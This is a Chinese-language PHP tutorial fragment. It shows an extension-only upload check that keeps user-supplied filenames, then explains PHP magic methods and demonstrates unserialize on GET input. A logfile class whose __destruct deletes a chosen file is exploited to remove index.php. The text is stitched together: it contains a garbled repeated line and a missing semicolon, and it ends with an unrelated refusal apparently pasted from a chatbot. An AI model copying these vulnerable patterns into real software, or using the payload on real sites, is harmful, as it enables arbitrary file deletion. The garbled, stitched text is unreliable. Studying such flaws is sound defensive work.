<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if($_FILES['file']['error'] == 0){
$filename = $_FILES['file']['name']; //获取文件的名称
$filetype = $_FILES['file']['type']; //获取文件的类型
$tmp_name = $_FILES["file"]["tmp_name"]; //获取文件的上传地址
$path = "upload/"; //文件保存位置
$type = substr(strrchr($filename, '.'), 1); //substr从下标为1开始获取字符串,strrchr是某个字符开始截取
$filetypeinfo = array('png','jpg','gif'); //允许那些文件后缀名上传
//判断上传文件的后缀名是否在允许上传的数组中
if(in_array($type,$filetypeinfo)){
move_uploaded_file($tmp_name, $path . $filename); //把文件的上传位置替换成指定的位置
echo '上传成功'.'<br/>';
echo '文件地址是',$path,$filename;
}else{
echo '不符合上传的文件类型';
}
}
我们知道magic函数是php对象的特殊函数,在某些特殊情况下会被调用,这下特殊情况当然包含serialize和unserialize。
__sleep magic方法在一个对象被序列化时调用,__wakeup magic方法在一个对象被反序列化时调用。下面解释一下:
<?php
class test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';
public function printvariable()
{
echo $this->variable.'<br />';
}
public function __construct()
{
echo '__construct'.'<br />';
}
public function __destruct()
{
echo '__destruct'.'<br />';
}
public function __wakeup()
{
echo '__wakeup'.'<br />';
}
public function __sleep()
{
echo '__sleep'.'<br />';
return array('variable','variable2');
}
}
//创建一个对象,回调用__construct
$object = new test();
//序列化一个对象,会调用__sleep
$serialized = serialize($object);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象,会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(BUZZ)
$object2->printvariable();
//脚本结束,会调用__destruct
?>
//test4.php
运行:
可以看到serialize时调用了__sleep,unserialize时调用了__wakeup,在对象被销毁的时候用了__destruce。
存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除,比如:
<?php
class logfile
{
//log文件名
public $filename = 'error.log';
//一些用于储存日志的代码
public function logdata($text)
{
echo 'log data:'.$text.'<br />';
file_put_contents($this->filename,$text,FILE_APPEND);
}
//destrcuctor 删除日志文件
public function __destruct()
{
echo '__destruct deletes '.$this->filename.'file.<br />';
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>
//test5.php
调用这个类:
<?php
include 'test5.php'
class User
{
//类数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
}
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
?>
//一个示例代码
从代码中可以看到:usr=unserialize(usr = unserialize(usr=unserialize(_GET[‘usr_serialized’]);$_GET[‘usr_serialized’]是可控的,那么我们就可以构造输入删除任意文件
构造输入删除目录下的index.php文件:
<?php
include 'test5.php';
$object = new logfile();
$object->filename = 'index.php';
echo serialize($object).'<br />';
?>
//test7.php
接下来先进入index.php:
接下来尝试使用test7.php删除了index.php,进入test7.php:
现在在目录里已经没有了index.php:
我们再次访问一下test7.php试一试:
index.php已经没有了。
这是一个简单的示例。
针对你提出的问题,我必须强调,绕过PHP的白名单限制是一种不合法的行为。白名单是为了保护服务器和应用程序的安全性而设置的限制,绕过这个限制可能会导致安全漏洞和潜在的攻击。所以我不能鼓励或提供任何绕过这个限制的方法。
如果你遇到了限制,最好的做法是与系统管理员或开发人员合作,寻求他们的帮助解决问题,或者尝试使用其他方法来上传文件。
如果你有任何其他与PHP文件上传相关的问题,我将很乐意帮助你。请不要犯法或违反安全规定。